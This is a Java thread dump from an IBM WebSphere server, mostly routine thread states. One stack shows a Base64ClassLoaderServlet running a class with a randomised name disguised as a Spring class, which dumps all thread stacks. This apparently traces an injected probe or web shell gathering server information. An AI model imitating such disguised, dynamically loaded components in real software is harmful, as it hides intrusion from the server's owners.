java.lang.Thread.run(Thread.java:736) + +"Deferrable Alarm : 0" #55 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@757f757f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Approximate Time Keeping Thread" #31 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:851) + at com.ibm.ws.timeutils.QuickApproxTimeT$TimeThread.run(QuickApproxTimeT.java:129) + at java.lang.Thread.run(Thread.java:736) + +"Thread-16" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8c908c9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:184) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1998) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:410) + at com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread.run(BBDescriptionManager.java:922) + at java.lang.Thread.run(Thread.java:736) + +"Deferrable Alarm : 1" #78 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@757f757f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"NotificationServiceDispatcher : 1" #74 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@33fc33fc + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:549) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Gc Slave Thread" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #6 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #7 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #8 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #10 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Gc Slave Thread" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-20" #43 daemon [WAITING] on java.util.Timer$TimerImpl@70907090 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at java.util.Timer$TimerImpl.run(Timer.java:227) + +"JIT Compilation Thread" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"HAManager.thread.pool : 0" #54 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@3bbe3bbe + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:549) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Thread-8" #23 daemon [TIMED_WAITING] on java.util.Timer$TimerImpl@64146414 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at java.util.Timer$TimerImpl.run(Timer.java:247) + +"Framework Event Dispatcher" #25 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@4e944e94 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:349) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:287) + +"LT=0:P=305007:O=0:port=9100" #50 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:451) + at java.net.ServerSocket.implAccept(ServerSocket.java:464) + at java.net.ServerSocket.accept(ServerSocket.java:432) + at com.ibm.rmi.transport.ListenerThread.run(ListenerThread.java:174) + +"Thread-22" #45 daemon [TIMED_WAITING] on java.util.Timer$TimerImpl@17991799 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at java.util.Timer$TimerImpl.run(Timer.java:247) + +"SoapConnectorThreadPool : 0" #80 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@47b147b1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:549) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"LocalNotificationServiceDispatcher : 1" #72 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@5a6d5a6d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"WebSphere MQ Trace Monitor" #67 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:851) + at com.ibm.mq.commonservices.internal.monitor.TraceMonitor.run(TraceMonitor.java:134) + +"AIO Timer Thread 1" #93 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:851) + at com.ibm.io.async.Timer.run(Timer.java:185) + +"server.startup : 0" #68 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@1e901e9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:549) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"LT=1:P=305007:O=0:port=2809" #53 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:451) + at java.net.ServerSocket.implAccept(ServerSocket.java:464) + at java.net.ServerSocket.accept(ServerSocket.java:432) + at com.ibm.rmi.transport.ListenerThread.run(ListenerThread.java:174) + +"PluginConfigService : 0" #89 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@39473947 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:549) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Shared TCPChannel NonBlocking Accept Thread" #58 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:222) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:77) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:92) + at com.ibm.ws.tcp.channel.impl.ChannelSelector.run(ChannelSelector.java:163) + at java.lang.Thread.run(Thread.java:736) + +"Thread-38" #91 daemon [TIMED_WAITING] on com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher@594d594d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher.hasWork(AbstractStatusCache.java:1496) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread.run(AbstractStatusCache.java:1574) + +"Thread-15" #37 daemon [WAITING] on java.util.Timer$TimerImpl@36a736a7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at java.util.Timer$TimerImpl.run(Timer.java:227) + +"P=305007:O=0:CT" #1 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:851) + at com.ibm.ws.runtime.WsServerImpl.main(WsServerImpl.java:679) + at com.ibm.ws.runtime.WsServer.main(WsServer.java:59) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37) + at java.lang.reflect.Method.invoke(Method.java:611) + at com.ibm.wsspi.bootstrap.WSLauncher.launchMain(WSLauncher.java:213) + at com.ibm.wsspi.bootstrap.WSLauncher.main(WSLauncher.java:93) + at com.ibm.wsspi.bootstrap.WSLauncher.run(WSLauncher.java:74) + at org.eclipse.core.internal.runtime.PlatformActivator$1.run(PlatformActivator.java:78) + at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:92) + at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:68) + at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:400) + at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:177) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:60) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:37) + at java.lang.reflect.Method.invoke(Method.java:611) + at org.eclipse.core.launcher.Main.invokeFramework(Main.java:340) + at org.eclipse.core.launcher.Main.basicRun(Main.java:282) + at org.eclipse.core.launcher.Main.run(Main.java:981) + at com.ibm.wsspi.bootstrap.WSPreLauncher.launchEclipse(WSPreLauncher.java:341) + at com.ibm.wsspi.bootstrap.WSPreLauncher.main(WSPreLauncher.java:111) + +"Thread-21" #44 daemon [WAITING] on java.util.Timer$TimerImpl@512b512b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at java.util.Timer$TimerImpl.run(Timer.java:227) + +"DCS Plugin Delivery Thread" #52 daemon [WAITING] on java.util.ArrayList@5fa05fa0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.ws.hamanager.coordinator.impl.DCSPluginSingleServerImpl$DeliveryThread.run(DCSPluginSingleServerImpl.java:352) + at java.lang.Thread.run(Thread.java:736) + +"Thread-17" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b252b25 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:184) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1998) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:410) + at com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread.run(BBDescriptionManager.java:922) + at java.lang.Thread.run(Thread.java:736) + +"Non-deferrable Alarm : 2" #86 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@19d419d4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Worker-0" #29 [TIMED_WAITING] on org.eclipse.core.internal.jobs.WorkerPool@6ffa6ffa + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at org.eclipse.core.internal.jobs.WorkerPool.sleep(WorkerPool.java:186) + at org.eclipse.core.internal.jobs.WorkerPool.startJob(WorkerPool.java:218) + at org.eclipse.core.internal.jobs.Worker.run(Worker.java:51) + +"WLMMonitorSleeper : 0" #40 daemon [WAITING] on java.util.TreeSet@6c2a6c2a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.ws.wlm.threadmanager.SleeperThreadPool.run(SleeperThreadPool.java:264) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1604) + +"Thread-32" #73 daemon [TIMED_WAITING] on com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher@59515951 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher.hasWork(AbstractStatusCache.java:1496) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread.run(AbstractStatusCache.java:1574) + +"Thread-19" #42 daemon [TIMED_WAITING] on java.util.Timer$TimerImpl@33b733b7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at java.util.Timer$TimerImpl.run(Timer.java:247) + +"WebContainer : 0" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.io.async.AsyncLibrary.aio_getioev3(Native Method) + at com.ibm.io.async.AsyncLibrary.getCompletionData3(AsyncLibrary.java:625) + at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:530) + at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1604) + +"com.ibm.debug.DebugAppServerComponentImpl.ActionThread" #47 daemon [WAITING] on com.ibm.debug.DebugAppServerComponentImpl$ActionThread@19ba19ba + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.debug.DebugAppServerComponentImpl$ActionThread.run(DebugAppServerComponentImpl.java:212) + +"Thread-18" #41 daemon [WAITING] on java.util.Timer$TimerImpl@7abb7abb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at java.util.Timer$TimerImpl.run(Timer.java:227) + +"WMQJCAResourceAdapter : DMN2" #63 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@2a152a15 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:124) + at java.lang.Thread.run(Thread.java:736) + +"SoapConnectorThreadPool : 1" #81 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@47b147b1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:549) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"HAManager.thread.pool : 1" #60 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@3bbe3bbe + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:549) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"WebContainer : 1" #95 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.getStackTraceImpl(Native Method) + at java.lang.Thread.getStackTrace(Thread.java:1042) + at java.lang.Thread.getAllStackTraces(Thread.java:1070) + at org.springframework.cNstw.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:1512) + at java.io.PrintWriter.print(PrintWriter.java:584) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:131) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502) + at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179) + at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:91) + at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:864) + at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1592) + at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:452) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:511) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:305) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:276) + at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214) + at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113) + at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165) + at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217) + at com.ibm.io.async.AsyncChannelFuture$1.run(AsyncChannelFuture.java:205) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1604) + +"Deferrable Alarm : 3" #83 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@757f757f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"LocalNotificationServiceDispatcher : 2" #75 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@5a6d5a6d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Thread-14" #36 daemon [WAITING] on java.util.Timer$TimerImpl@2dd62dd6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at java.util.Timer$TimerImpl.run(Timer.java:227) + +"WMQJCAResourceAdapter : DMN0" #61 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@58e958e9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:124) + at java.lang.Thread.run(Thread.java:736) + +"Signal Dispatcher" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.misc.SignalDispatcher.waitForSignal(Native Method) + at com.ibm.misc.SignalDispatcher.run(SignalDispatcher.java:66) + +"Finalizer thread" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Non-deferrable Alarm : 0" #56 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@19d419d4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Attach API wait loop" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.tools.attach.javaSE.IPC.waitSemaphore(Native Method) + at com.ibm.tools.attach.javaSE.CommonDirectory.waitSemaphore(CommonDirectory.java:220) + at com.ibm.tools.attach.javaSE.AttachHandler$WaitLoop.waitForNotification(AttachHandler.java:329) + at com.ibm.tools.attach.javaSE.AttachHandler$WaitLoop.run(AttachHandler.java:396) + +"LocalNotificationServiceDispatcher : 0" #71 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@5a6d5a6d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Non-deferrable Alarm : 3" #88 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@19d419d4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"WMQJCAResourceAdapter : DMN1" #62 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@3cbf3cbf + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:124) + at java.lang.Thread.run(Thread.java:736) + +"Thread-26" #51 daemon [WAITING] on java.util.LinkedList@1ed91ed9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.ws.hamanager.impl.UserCallbacks$WorkDispatcher.run(UserCallbacks.java:218) + at java.lang.Thread.run(Thread.java:736) + +"Thread-23" #46 daemon [TIMED_WAITING] on java.util.Timer$TimerImpl@18ee18ee + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at java.util.Timer$TimerImpl.run(Timer.java:247) + +"Start Level Event Dispatcher" #26 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@43f443f4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:349) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:287) + +"Non-deferrable Alarm : 1" #77 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@19d419d4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Thread-33" #79 [WAITING] on com.ibm.CORBA.iiop.KeepAlive@3b773b77 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:167) + at com.ibm.CORBA.iiop.KeepAlive.run(UtilDelegateImpl.java:977) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.ibm.CORBA.iiop.KeepAlive +com.ibm.debug.DebugAppServerComponentImpl$ActionThread +com.ibm.ejs.j2c.work.WorkScheduler +com.ibm.ejs.util.am.AlarmManagerThreadCSLM +com.ibm.io.async.AbstractAsyncFuture +com.ibm.io.async.AsyncChannelFuture$1 +com.ibm.io.async.AsyncLibrary +com.ibm.io.async.ResultHandler +com.ibm.io.async.ResultHandler$2 +com.ibm.io.async.Timer +com.ibm.misc.SignalDispatcher +com.ibm.mq.commonservices.internal.monitor.TraceMonitor +com.ibm.rmi.transport.ListenerThread +com.ibm.tools.attach.javaSE.AttachHandler$WaitLoop +com.ibm.tools.attach.javaSE.CommonDirectory +com.ibm.tools.attach.javaSE.IPC +com.ibm.ws.cluster.propagation.bulletinboard.BBDescriptionManager$UpdateThread +com.ibm.ws.hamanager.coordinator.impl.DCSPluginSingleServerImpl$DeliveryThread +com.ibm.ws.hamanager.impl.UserCallbacks$WorkDispatcher +com.ibm.ws.http.HttpTransport +com.ibm.ws.http.channel.inbound.impl.HttpInboundLink +com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread +com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher +com.ibm.ws.runtime.WsServer +com.ibm.ws.runtime.WsServerImpl +com.ibm.ws.tcp.channel.impl.AioReadCompletionListener +com.ibm.ws.tcp.channel.impl.ChannelSelector +com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback +com.ibm.ws.timeutils.QuickApproxTimeT$TimeThread +com.ibm.ws.util.BoundedBuffer +com.ibm.ws.util.ThreadPool +com.ibm.ws.util.ThreadPool$Worker +com.ibm.ws.webcontainer.WSWebContainer +com.ibm.ws.webcontainer.WebContainer +com.ibm.ws.webcontainer.channel.WCChannelLink +com.ibm.ws.webcontainer.filter.FilterInstanceWrapper +com.ibm.ws.webcontainer.filter.WebAppFilterChain +com.ibm.ws.webcontainer.filter.WebAppFilterManager +com.ibm.ws.webcontainer.servlet.CacheServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapperImpl 